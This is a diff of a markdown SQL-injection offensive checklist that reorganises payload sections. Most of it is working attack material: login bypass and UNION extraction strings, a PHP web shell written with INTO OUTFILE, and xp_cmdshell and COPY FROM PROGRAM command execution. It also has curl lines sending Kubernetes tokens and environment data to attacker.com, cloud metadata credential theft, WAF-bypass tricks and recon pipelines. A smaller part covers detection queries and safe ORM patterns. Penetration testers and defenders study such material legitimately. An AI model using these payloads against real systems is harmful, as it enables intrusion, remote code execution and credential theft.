-SQLi affects virtually all major database systems:
-
-- MySQL/MariaDB
-- Microsoft SQL Server
-- PostgreSQL
-- Oracle
-- SQLite
-- IBM DB2
-- NoSQL databases (MongoDB, Cassandra, etc.)
-
-## Hunt
-
-### Recon Workflow
-
-- Using Burpsuite:
- - Capture request in Burpsuite
- - Send to active scanner
- - Review SQL vulnerabilities detected
- - Manually verify findings
- - Use SQLMAP for deeper exploitation
-- Using automation tools:
- - sublist3r -d target | tee -a domains
- - cat domains | httpx | tee -a alive
- - cat alive | waybackurls | tee -a urls
- - gf sqli urls >> sqli
- - sqlmap -m sqli --dbs --batch
-- Hidden parameter discovery:
- - Gather URLs using hakrawler/waybackurls/gau
- - Use Arjun to scan for hidden parameters
- - Test discovered parameters for SQL injection
-
-### Identification Techniques
-
-#### Parameter Testing
-
-- Test all input vectors: URL parameters, form fields, cookies, HTTP headers
-- Insert basic SQL syntax characters to provoke errors:
- ```
- ' " ; -- /* */ # ) ( + ,
- ```
-- Test single and double quote placement in different contexts:
- ```
- ' OR '1'='1
- " OR "1"="1
- ```
-- Use SQLi polyglots (work in multiple contexts):
- ```
- SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
- ```
-
-#### Error-Based Detection
-
-- Look for database error messages that reveal:
- - SQL syntax errors
- - Database type and version
- - Table/column names
- - Query structure
-- Common error-triggering payloads:
- ```
- '
- ''
- `
- "
- ""
- ,
- %
- \
- ```
-
-#### Blind Detection
-
-- Boolean-based tests (observe differences in responses):
- ```sql
- ' OR 1=1 --
- ' OR 1=2 --
- ' AND 1=1 --
- ' AND 1=2 --
- ```
-- Time-based tests (observe response timing):
-
- ```sql
- MySQL: ' OR SLEEP(5) --
- PostgreSQL: ' OR pg_sleep(5) --
- MSSQL: ' WAITFOR DELAY '0:0:5' --
- Oracle: '; BEGIN DBMS_LOCK.SLEEP(5); END; --
-
- ```
-
-- JSON operator probes (MySQL/Postgres):
-
- ```sql
- # MySQL JSON
- id=1 AND JSON_EXTRACT('{"a":1}', '$.a')=1
- # Postgres JSONB
- id=1 AND '{"a":1}'::jsonb ? 'a'
- ```
-
-### Advanced Testing Approaches
-
-#### Mapping Database Structure
-
-1. Determine database type:
-
- ```sql
- ' UNION SELECT @@version -- (MySQL/MSSQL)
- ' UNION SELECT version() -- (PostgreSQL)
- ' UNION SELECT banner FROM v$version -- (Oracle)
- ```
-
-2. Enumerate tables:
-
- ```sql
- # MySQL/MSSQL
- ' UNION SELECT table_name,1 FROM information_schema.tables --
-
- # PostgreSQL
- ' UNION SELECT table_name,1 FROM information_schema.tables --
-
- # Oracle
- ' UNION SELECT table_name,1 FROM all_tables --
- ```
-
-3. Enumerate columns:
-
- ```sql
- # MySQL/MSSQL/PostgreSQL
- ' UNION SELECT column_name,1 FROM information_schema.columns WHERE table_name='users' --
-
- # Oracle
- ' UNION SELECT column_name,1 FROM all_tab_columns WHERE table_name='USERS' --
- ```
-
-4. GraphQL → SQLi pivot
+### GraphQL → SQLi Pivot
```
-# Try introspection disabled? Send crafted filter/order inputs
{"query":"query{ users(filter: \"' OR 1=1 --\"){ id email }}"}
```
-5. WebSocket SQLi detection
+### WebSocket SQLi
```javascript
-// Connect to WebSocket endpoint
const ws = new WebSocket("wss://target.com/api/search");
ws.send('{"action":"search","query":"test\\\' OR 1=1--"}');
-// Observe response for SQL errors or data leakage
```
-6. REST API Filter Injection
+### REST API Filter Injection
```json
-// Modern APIs often accept complex filters
POST /api/users/search
{
- "filter": {
- "name": {"$regex": "admin' OR 1=1--"},
- "status": "active"
- },
+ "filter": { "name": {"$regex": "admin' OR 1=1--"} },
"sort": "name'; DROP TABLE users--"
}
```
-7. ORM/Query Builder pitfalls (examples)
-
-```
-// Sequelize (Node): avoid string concatenation; use replacements/bind
-sequelize.query('SELECT * FROM users WHERE name = :name', { replacements: { name: user }, type: QueryTypes.SELECT })
-
-// Prisma (Node): prefer parameterized $queryRaw vs $executeRawUnsafe
-await prisma.$queryRaw`SELECT * FROM users WHERE name = ${user}`
-
-// Knex
-knex('users').whereRaw('name = ?', [user])
-```
+---
-## Bypass Techniques
-
-### WAF Bypass
-
-- Case variation: `SeLeCt`, `UnIoN`
-- Comment injection: `UN/**/ION SE/**/LECT`
-- Alternate encodings:
- - URL encoding: `UNION` → `%55%4E%49%4F%4E`
- - Hex encoding: `SELECT` → `0x53454C454354`
- - Unicode encoding
-- Whitespace manipulation: `UNION/**/SELECT`
-- Numeric representations:
- - `1` → `1-0`, `1+0`, `CHAR(49)`
-- String concatenation:
- - MySQL: `CONCAT('a','b')`
- - Oracle: `'a'||'b'`
- - MSSQL: `'a'+'b'`
-- Null byte injection:
- ```
- %00' UNION SELECT password FROM Users WHERE username='xyz'--
- ```
-- Double encoding:
- ```
- First pass: / → %2f
- Second pass: %2f → %252f
- ```
-- Using SQLMAP tamper scripts:
- - Use Atlas tool for suggesting tamper scripts
- - Try multiple tamper scripts in combination
- - Customize tamper scripts for specific WAFs
-- **JSON operator wrapper**: Prefix payload with dummy JSON (`/**/{"a":1}`) so that WAFs parse request as JSON and miss the subsequent SQL keywords
-- HTTP/2 request smuggling and path normalization can sometimes bypass perimeter WAFs; replay payloads over different schemes (h2/h2c) and proxies
-
-## Vulnerabilities
-
-### Common SQL Injection Points
-
-#### Direct Query Manipulation
-
-- **Login Bypass**:
- ```
- username=' OR 1=1 --
- ```
-- **Data Extraction**:
- ```
- ' UNION SELECT username,password FROM users --
- ```
-- **Blind Data Extraction**:
- ```
- ' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1)='a
- ```
-
-#### Indirect Query Vulnerabilities
-
-- **Second-Order Injection**: Input is sanitized during initial storage but used unsafely in subsequent queries
-- **ORM-Layer Injection**: Vulnerabilities in the Object-Relational Mapping layer
-- **Dynamic Query Construction**: Queries built by concatenating strings with user input
-- **Insufficient Input Sanitization**: Improper filtering of special characters
-- **Query Format String Vulnerabilities**: Using string formatting functions to construct queries
-- **GraphQL Injection**: Resolver strings constructed unsafely from GraphQL arguments leading to backend SQL execution
-- **WebSocket Parameter Injection**: Real-time communication channels passing unvalidated data to SQL queries
-- **Cloud Function/Serverless Injection**: Lambda/Cloud Function SQL queries with improper input validation
-
-### Database-Specific Vulnerabilities
-
-#### MySQL/MariaDB
-
-- **Information Leakage**:
- ```
- ' UNION SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema' --
- ```
-- **File Access**:
- ```
- ' UNION SELECT LOAD_FILE('/etc/passwd') --
- ```
-- **File Writing**:
- ```
- ' UNION SELECT 'shell code' INTO OUTFILE '/var/www/html/shell.php' --
- ```
-
-#### MSSQL
-
-- **Command Execution**:
- ```
- '; EXEC xp_cmdshell 'net user' --
- ```
-- **Registry Access**:
- ```
- '; EXEC xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion','ProductName' --
- ```
-- **Linked Servers Access**:
- ```
- '; EXEC ('SELECT * FROM OPENROWSET(''SQLOLEDB'',''Server=linked_server;Trusted_Connection=yes'',''SELECT 1'')') --
- ```
-
-#### PostgreSQL
-
-- **File Access**:
- ```
- ' UNION SELECT pg_read_file('/etc/passwd',0,1000) --
- ```
-- **Command Execution**:
- ```
- '; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; --
- ```
-- **Container Escape** (in Kubernetes/Docker environments):
-
- ```sql
- -- Exfiltrate service account tokens
- '; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)'; --
-
- -- Read container environment variables
- '; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/?data=$(env|base64)'; --
- ```
-
-#### Oracle
-
-- **Privilege Escalation**:
- ```
- ' UNION SELECT * FROM SYS.USER_ROLE_PRIVS --
- ```
-- **PL/SQL Execution**:
- ```
- ' BEGIN DBMS_JAVA.RUNJAVA('java.lang.Runtime.getRuntime().exec(''cmd.exe /c dir'')'); END; --
- ```
-
-### NoSQL Injection
-
-- **MongoDB Operators**:
- ```
- username[$ne]=admin&password[$ne]=
- username[$regex]=^adm&password[$regex]=^pass
- ```
-- **Operator Injection**:
- ```
- {"$where": "sleep(5000)"}
- {"username": {"$in": ["admin"]}}
- ```
-
-### Graph Databases (Neo4j/Cypher)
-
-- **Cypher Injection Example**
- ```sql
- MATCH (u:User) WHERE u.name = 'admin' RETURN u
- ```
- can be abused with `admin' OR 1=1 //--` to bypass conditions.
-- **CVE‑2024‑34517**: Older Neo4j 5.x allowed privilege escalation via IMMUTABLE procedures; ensure your target is ≥ 5.18 or 4.4.26.
-
-## Chaining and Escalation
-
-### Cloud-Specific SQL Injection
-
-#### Serverless/Lambda Environments
-
-- **Connection Pool Poisoning**:
-
- ```javascript
- // Lambda functions reusing database connections
- // Attacker can poison connection state
- exports.handler = async (event) => {
- // Vulnerable: SET ROLE is persistent across invocations
- await db.query(`SET ROLE '${event.role}'`);
- return await db.query("SELECT * FROM sensitive_data");
- };
- ```
-
-- **AWS RDS Proxy Bypass**:
-
- ```sql
- -- Bypass RDS Proxy connection limits
- '; CALL mysql.rds_kill(CONNECTION_ID()); --
- ```
-
-- **Azure SQL Managed Instance**:
-
- ```sql
- -- Exploit managed instance features
- '; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
- '; EXEC xp_cmdshell 'az vm list'; --
- ```
-
-- **GCP Cloud SQL**:
- ```sql
- -- Access Cloud SQL metadata
- ' UNION SELECT @@global.version_comment, @@hostname --
- ```
-
-#### Cloud Metadata Access via SQLi
-
-- **AWS IMDSv2** (requires token, harder via SQLi):
-
- ```sql
- -- Older IMDSv1 still works in legacy environments
- ' UNION SELECT LOAD_FILE('http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name') --
- ```
-
-- **Azure Instance Metadata**:
- ```sql
- ' UNION SELECT LOAD_FILE('http://169.254.169.254/metadata/instance?api-version=2021-02-01') --
- ```
+## Automation Workflow
-### Supply Chain & Dependency Risks
+```bash
+# Full pipeline
+sublist3r -d target | tee domains
+cat domains | httpx | tee alive
+cat alive | waybackurls | tee urls
+gf sqli urls >> sqli
+sqlmap -m sqli --dbs --batch
-#### ORM CVE Tracking (2024-2025)
+# Targeted with Burp capture
+# 1. Capture request → Send to Active Scanner
+# 2. Review SQL findings → manually verify
+# 3. Export request file → sqlmap -r req.txt --dbs
-- **Sequelize** CVE-2023-22578: SQL injection in JSON queries
+# Blind SQLi (Ghauri — faster for time-based)
+ghauri -u "https://target.com/page?id=1" --dbs
- ```javascript
- // Vulnerable pattern
- User.findAll({
- where: sequelize.literal(`name = '${userInput}'`),
- });
- ```
+# Hidden parameter discovery
+hakrawler -url https://target.com | tee crawl
+arjun -i crawl -oJ params.json
+```
-- **TypeORM** < 0.3.12: findOne vulnerable to injection
+---
- ```typescript
- // Vulnerable
- repository.findOne({ where: `id = ${id}` });
- ```
+## Exploitation
-- **Hibernate 6.x**: Query cache poisoning
+### Determine Column Count (UNION)
- ```java
- // Unsafe HQL construction
- session.createQuery("FROM User WHERE name = '" + input + "'");
- ```
+```sql
+' UNION SELECT NULL-- -
+' UNION SELECT NULL,NULL-- -
+' UNION SELECT NULL,NULL,NULL-- -
+```
-- **Prisma** < 4.11: Raw query vulnerabilities
- ```typescript
- // Vulnerable
- await prisma.$executeRawUnsafe(`SELECT * FROM users WHERE id = ${id}`);
- ```
+### Identify String Columns
-#### CI/CD Pipeline SQLi
+```sql
+' UNION SELECT 'a',NULL,NULL-- -
+' UNION SELECT NULL,'a',NULL-- -
+```
-- Database migration scripts with unvalidated variables
-- Terraform/Pulumi infrastructure code generating SQL
-- GitHub Actions workflows with SQL execution steps
+### Enumerate Schema
-## Methodologies
+```sql
+-- DB version
+' UNION SELECT @@version -- -- MySQL/MSSQL
+' UNION SELECT version() -- -- PostgreSQL
+' UNION SELECT banner FROM v$version -- -- Oracle
-### Tools
+-- Tables
+' UNION SELECT table_name,1 FROM information_schema.tables -- -- MySQL/MSSQL/PG
+' UNION SELECT table_name,1 FROM all_tables -- -- Oracle
-#### Automated SQLi Detection & Exploitation
+-- Columns
+' UNION SELECT column_name,1 FROM information_schema.columns WHERE table_name='users' --
+```
-- **SQLmap 1.8+**: Now detects JSON‑based, GraphQL, and WebSocket SQLi automatically, plus smarter tamper chaining
-- **GraphQLmap**: CLI tool for fuzzing and exploiting GraphQL resolver injections
-- **NoSQLMap**: NoSQL database testing
-- **Burp Suite Professional**: Enhanced SQL injection scanner with ML-based detection
-- **Ghauri**: Advanced blind SQL injection tool (faster than SQLmap for time-based)
-- **SQLiScanner**: Automated CI/CD integration for SQLi testing
+### Blind Data Extraction
-#### Manual Testing Tools
+```sql
+-- Boolean character-by-character
+' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 0,1)='a'-- -
-- **Burp Suite**: Request manipulation and testing
-- **OWASP ZAP**: Traffic interception and testing
-- **FuzzDB/SecLists**: Attack payload collections
-- **Havij**: Automated SQL injection tool with GUI
-- **wscat**: WebSocket testing for SQLi in real-time connections
-- **Postman/Insomnia**: API endpoint testing with GraphQL support
+-- Time-based conditional
+' AND (SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users)-- -
+```
-### Testing Methodology
+---
-#### Reconnaissance Phase
+## Database-Specific Exploitation
-1. **Identify Entry Points**:
- - Map all user input parameters
- - Check HTTP POST/GET parameters
- - Examine cookies and HTTP headers
- - Review hidden form fields
- - Analyze API endpoints
+### MySQL / MariaDB
-2. **Determine Database Type**:
- - Observe error messages
- - Test database-specific syntax
- - Check HTTP headers and response patterns
+```sql
+-- File read
+' UNION SELECT LOAD_FILE('/etc/passwd') --
-#### Exploitation Phase
+-- Write web shell
+' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' --
-1. **Initial Testing**:
+-- Schema leak
+' UNION SELECT table_schema,table_name FROM information_schema.tables
+ WHERE table_schema NOT IN ('mysql','information_schema') --
+```
- ```sql
- # Test for errors
- parameter=test'
- parameter=test"
- parameter=test`
+### MSSQL
- # Boolean tests
- parameter=test' OR '1'='1
- parameter=test' AND '1'='2
+```sql
+-- OS command execution
+'; EXEC xp_cmdshell 'net user' --
- # UNION tests
- parameter=test' UNION SELECT 1-- -
- parameter=test' UNION SELECT 1,2-- -
- parameter=test' UNION SELECT 1,2,3-- -
- ```
+-- Registry read
+'; EXEC xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion','ProductName' --
-2. **UNION Attack Technique**:
+-- Linked server pivot
+'; EXEC ('SELECT * FROM OPENROWSET(''SQLOLEDB'',''Server=linked_server;Trusted_Connection=yes'',''SELECT 1'')') --
+```
- ```sql
- # Find the number of columns
- ' UNION SELECT NULL-- -
- ' UNION SELECT NULL,NULL-- -
- ' UNION SELECT NULL,NULL,NULL-- -
+### PostgreSQL
- # Identify string columns
- ' UNION SELECT 'a',NULL,NULL-- -
- ' UNION SELECT NULL,'a',NULL-- -
- ' UNION SELECT NULL,NULL,'a'-- -
+```sql
+-- File read
+' UNION SELECT pg_read_file('/etc/passwd',0,1000) --
- # Extract data
- ' UNION SELECT username,password,NULL FROM users-- -
- ```
+-- OS command execution
+'; CREATE TABLE cmd_exec(cmd_output text);
+ COPY cmd_exec FROM PROGRAM 'id';
+ SELECT * FROM cmd_exec; --
-3. **Blind SQLi Exploitation**:
+-- K8s service account token exfil
+'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)'; --
+```
- ```sql
- # Boolean-based
- ' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 0,1)='a'-- -
+### Oracle
- # Time-based
- ' AND (SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users)-- -
- ```
+```sql
+-- Privilege enumeration
+' UNION SELECT * FROM SYS.USER_ROLE_PRIVS --
-4. **Database Enumeration**:
- - Determine database version
- - Extract table names
- - Extract column names
- - Extract data
+-- PL/SQL execution
+' BEGIN DBMS_JAVA.RUNJAVA('java.lang.Runtime.getRuntime().exec(''cmd.exe /c dir'')'); END; --
+```
-5. **Privilege Escalation**:
- - Identify database user permissions
- - Access sensitive tables
- - Attempt file system access
- - Try command execution
+---
-### Cheatsheets by Database
+## NoSQL & Graph Injection
-#### MySQL
+### MongoDB
-```sql
-# Version
-SELECT @@version
+```
+username[$ne]=admin&password[$ne]=
+username[$regex]=^adm&password[$regex]=^pass
+{"$where": "sleep(5000)"}
+{"username": {"$in": ["admin"]}}
+```
-# Comments
--- Comment
-# Comment
-/*Comment*/
+### Neo4j / Cypher (CVE-2024-34517)
-# String Concatenation
-CONCAT('a','b')
+```cypher
+-- Normal
+MATCH (u:User) WHERE u.name = 'admin' RETURN u
+-- Bypass
+MATCH (u:User) WHERE u.name = 'admin' OR 1=1 //--' RETURN u
+```
-# Substring
-SUBSTRING('abc',1,1)
+Older Neo4j 5.x (<5.18 / <4.4.26) allowed privilege escalation via IMMUTABLE procedures.
-# Conditional
-IF(1=1,'true','false')
+---
-# Time Delay
-SLEEP(5)
+## WAF Bypass Techniques
-# Data Sources
-information_schema.tables
-information_schema.columns
-```
+| Technique | Example |
+|-----------|---------|
+| Case variation | `SeLeCt`, `UnIoN` |
+| Comment injection | `UN/**/ION SE/**/LECT` |
+| URL encoding | `UNION` → `%55%4E%49%4F%4E` |
+| Hex encoding | `SELECT` → `0x53454C454354` |
+| Whitespace | `UNION/**/SELECT` |
+| Null byte | `%00' UNION SELECT password FROM users--` |
+| Double encoding | `%2f` → `%252f` |
+| String concat | MySQL: `CONCAT('a','b')`, Oracle: `'a'\|\|'b'`, MSSQL: `'a'+'b'` |
+| JSON wrapper | Prefix with dummy JSON `/**/{"a":1}` to confuse WAF parsers |
-#### MSSQL
+**SQLmap tamper scripts:** Use the Atlas tool to suggest tampers; combine multiple (`--tamper=space2comment,charencode`) for layered WAFs.
-```sql
-# Version
-SELECT @@version
+**HTTP/2 smuggling:** Replay payloads over h2/h2c; HPACK compression can obscure payloads from perimeter WAFs.
-# Comments
--- Comment
-/*Comment*/
-
-# String Concatenation
-'a'+'b'
+---
-# Substring
-SUBSTRING('abc',1,1)
+## Cloud-Specific Attack Paths
-# Conditional
-CASE WHEN 1=1 THEN 'true' ELSE 'false' END
+### AWS
-# Time Delay
-WAITFOR DELAY '0:0:5'
+```sql
+-- IMDSv1 credential theft (legacy environments)
+' UNION SELECT LOAD_FILE('http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name') --
-# Data Sources
-information_schema.tables
-information_schema.columns
-sys.tables
-sys.columns
+-- RDS Proxy disruption
+'; CALL mysql.rds_kill(CONNECTION_ID()); --
```
-#### Oracle
+### Azure
```sql
-# Version
-SELECT banner FROM v$version
+-- Azure SQL Managed Instance RCE
+'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
+'; EXEC xp_cmdshell 'az vm list'; --
-# Comments
--- Comment
-/*Comment*/
-
-# String Concatenation
-'a'||'b'
+-- Instance metadata
+' UNION SELECT LOAD_FILE('http://169.254.169.254/metadata/instance?api-version=2021-02-01') --
+```
-# Substring
-SUBSTR('abc',1,1)
+### GCP Cloud SQL
-# Conditional
-CASE WHEN 1=1 THEN 'true' ELSE 'false' END
+```sql
+' UNION SELECT @@global.version_comment, @@hostname --
+```
-# Time Delay
-DBMS_PIPE.RECEIVE_MESSAGE('RDS',5)
+### Lambda / Serverless Connection Pool Poisoning
-# Data Sources
-all_tables
-all_tab_columns
+```javascript
+// SET ROLE persists across Lambda invocations when DB connections are reused
+exports.handler = async (event) => {
+ await db.query(`SET ROLE '${event.role}'`); // injectable — poisons pool
+ return await db.query("SELECT * FROM sensitive_data");
+};
```
-#### PostgreSQL
+---
-```sql
-# Version
-SELECT version()
+## ORM CVE Tracking (2023–2025)
-# Comments
--- Comment
-/*Comment*/
+| ORM | CVE / Issue | Vulnerable Pattern |
+|-----|------------|-------------------|
+| Sequelize | CVE-2023-22578 | `sequelize.literal(\`name = '${userInput}'\`)` |
+| TypeORM <0.3.12 | findOne injection | `repository.findOne({ where: \`id = ${id}\` })` |
+| Hibernate 6.x | Query cache poisoning | `session.createQuery("FROM User WHERE name = '" + input + "'")` |
+| Prisma <4.11 | Raw query | `prisma.$executeRawUnsafe(\`SELECT * FROM users WHERE id = ${id}\`)` |
-# String Concatenation
-'a'||'b'
+**Safe ORM patterns:**
-# Substring
-SUBSTRING('abc',1,1)
+```javascript
+// Sequelize — use replacements
+sequelize.query('SELECT * FROM users WHERE name = :name', { replacements: { name: user } })
+// Prisma — tagged template literal
+await prisma.$queryRaw`SELECT * FROM users WHERE name = ${user}`
+// Knex
+knex('users').whereRaw('name = ?', [user])
+```
-# Conditional
-CASE WHEN 1=1 THEN 'true' ELSE 'false' END
+---
-# Time Delay
-pg_sleep(5)
+## Quick-Reference Cheatsheet
-# Data Sources
-information_schema.tables
-information_schema.columns
-```
+| DB | Version | Time Delay | String Concat | Schema Source |
+|----|---------|-----------|--------------|---------------|
+| MySQL | `@@version` | `SLEEP(5)` | `CONCAT('a','b')` | `information_schema.tables` |
+| MSSQL | `@@version` | `WAITFOR DELAY '0:0:5'` | `'a'+'b'` | `information_schema.tables`, `sys.tables` |
+| PostgreSQL | `version()` | `pg_sleep(5)` | `'a'\|\|'b'` | `information_schema.tables` |
+| Oracle | `banner FROM v$version` | `DBMS_PIPE.RECEIVE_MESSAGE('RDS',5)` | `'a'\|\|'b'` | `all_tables`, `all_tab_columns` |
+
+---
-## Remediation Recommendations
-
-- **Prepared Statements/Parameterized Queries**:
-
- ```java
- // Unsafe
- String query = "SELECT * FROM users WHERE username = '" + username + "'";
-
- // Safe (Java PreparedStatement)
- PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ?");
- stmt.setString(1, username);
- ```
-
-- **PHP PDO note:** When using PDO you must disable emulated prepares,Otherwise parameters are substituted client‑side and JSON operators can still be injectable.
-
- ```php
- $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
- ```
-
-- **ORM Frameworks**: Use secure ORM frameworks with proper parameter binding
-- **Input Validation**: Server-side validation with strong type checking
-- **Stored Procedures**: Use properly coded stored procedures
-- **Least Privilege**: Restrict database account permissions
-- **WAF Implementation**: Deploy a web application firewall
-- **Error Handling**: Prevent detailed error messages from being displayed to users
-- **Database Activity Monitoring (DAM)**: Track and alert on suspicious database activity
- - Tools: Imperva DAM, IBM Guardium, Oracle Audit Vault
- - Cloud-native: AWS RDS Enhanced Monitoring, Azure SQL Auditing, GCP Cloud SQL Insights
-- **Runtime Application Self-Protection (RASP)**: Detect and block SQLi at runtime
- - Tools: Contrast Security, Sqreen (Datadog), Hdiv Security
-- **ML-based WAF**: Modern WAF with machine learning detection
- - Cloudflare WAF (ML rules)
- - AWS WAF Fraud Control Account Takeover Prevention
- - Signal Sciences (Fastly)
-- **Row-Level Security (RLS)**: Enforce per-tenant/user data access in the database layer
-- **Outbound controls**: Block DB servers from making outbound DNS/HTTP to limit OOB exfiltration
- - Implement egress filtering in security groups/firewalls
- - Use private subnets for database instances
-- **Strong typed parameters**: For JSON/ARRAY params ensure explicit casts (e.g., `$1::jsonb`) to avoid operator confusion
-- **API Gateway Schema Validation**: Enforce strict input validation at gateway level
- - AWS API Gateway Request Validators
- - Kong Request Validator plugin
- - Apigee JSON Threat Protection
-- **Query Monitoring & Anomaly Detection**:
- ```python
- # Example: Monitor for suspicious patterns
- if re.search(r"(UNION|SELECT|INSERT|UPDATE|DELETE).*--", query, re.IGNORECASE):
- alert_security_team()
- block_request()
- ```
-- **Container Security Context**: For containerized databases
- ```yaml
- # Kubernetes: Restrict service account access
- automountServiceAccountToken: false
- securityContext:
- readOnlyRootFilesystem: true
- runAsNonRoot: true
- ```
-
-### Detection & Monitoring
-
-#### SIEM/Log Analysis Queries
+## Detection & Monitoring Queries
**Splunk:**
```spl
index=web sourcetype=access_combined
| regex _raw="(%27)|(\\')|(\\-\\-)|((%3D)|(=))[^\\n]*((%27)|(\\')|(\\-\\-)|(\\%3D))"
-| eval suspected_sqli=if(match(_raw, "(?i)(union|select|insert|update|delete|drop|create|alter|exec|execute)"), "high", "low")
+| eval suspected_sqli=if(match(_raw,"(?i)(union|select|insert|update|delete|drop|create|alter|exec)"),"high","low")
| where suspected_sqli="high"
| table _time, src_ip, uri, user_agent, status
```
-**ELK/OpenSearch:**
-
-```json
-{
- "query": {
- "bool": {
- "should": [
- {
- "regexp": { "request.uri": ".*(union|select|insert|update|delete).*" }
- },
- { "match": { "request.body": "' OR 1=1" } }
- ]
- }
- }
-}
-```
-
-**CloudWatch Insights (AWS RDS):**
+**AWS CloudWatch Insights (RDS):**
```
fields @timestamp, @message
@@ -807,53 +359,12 @@ fields @timestamp, @message
| stats count() by bin(5m)
```
-### HTTP/2 & HTTP/3 Considerations
-
-- **HPACK/QPACK Header Compression**: May alter detection patterns
-
- ```
- # HTTP/2 header compression can obfuscate payloads
- :path: /api/user?id=1%20UNION%20SELECT
- # Appears different after decompression
- ```
-
-- **Request Smuggling to SQLi**:
-
- ```http
- POST /api/user HTTP/2
- Content-Length: 100
- Transfer-Encoding: chunked
-
- 0
-
- POST /api/admin HTTP/1.1
- Content-Length: 50
-
- id=1' OR '1'='1
- ```
-
-- **HTTP/3 QUIC Protocol**: Test SQLi over different protocols
- ```bash
- # Use curl with HTTP/3 support
- curl --http3 "https://target.com/api?id=1' UNION SELECT--"
- ```
-
-### Compliance & Regulatory Context
-
-- **PCI DSS 4.0**: Requirement 6.2.4 mandates protection against injection attacks
-- **OWASP ASVS 4.0**: V5.3.4 requires parameterized queries or stored procedures
-- **ISO 27001:2022**: A.8.22 web filtering control
-- **NIST 800-53**: SI-10 Information Input Validation
-- **SOC 2 Type II**: Common Criteria CC6.1 (Logical Access Controls)
-
-### Threat Intelligence Integration
+---
-- **CISA KEV Catalog**: Monitor for actively exploited SQL injection CVEs
-- **MITRE ATT&CK**: T1190 (Exploit Public-Facing Application)
-- **exploit-db.com**: Track recent SQLi PoC releases
-- **GitHub Security Advisories**: Monitor ORM/framework CVEs
- ```bash
- # Automated monitoring
- gh api /advisories --jq '.[] | select(.summary | contains("SQL injection"))'
- ```
+## Key References
+- MITRE ATT&CK: T1190 (Exploit Public-Facing Application)
+- OWASP ASVS 4.0: V5.3.4 — parameterized queries required
+- PCI DSS 4.0: Requirement 6.2.4 — injection protection mandatory
+- CISA KEV Catalog — monitor for actively exploited SQLi CVEs
+- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/sql-injection.md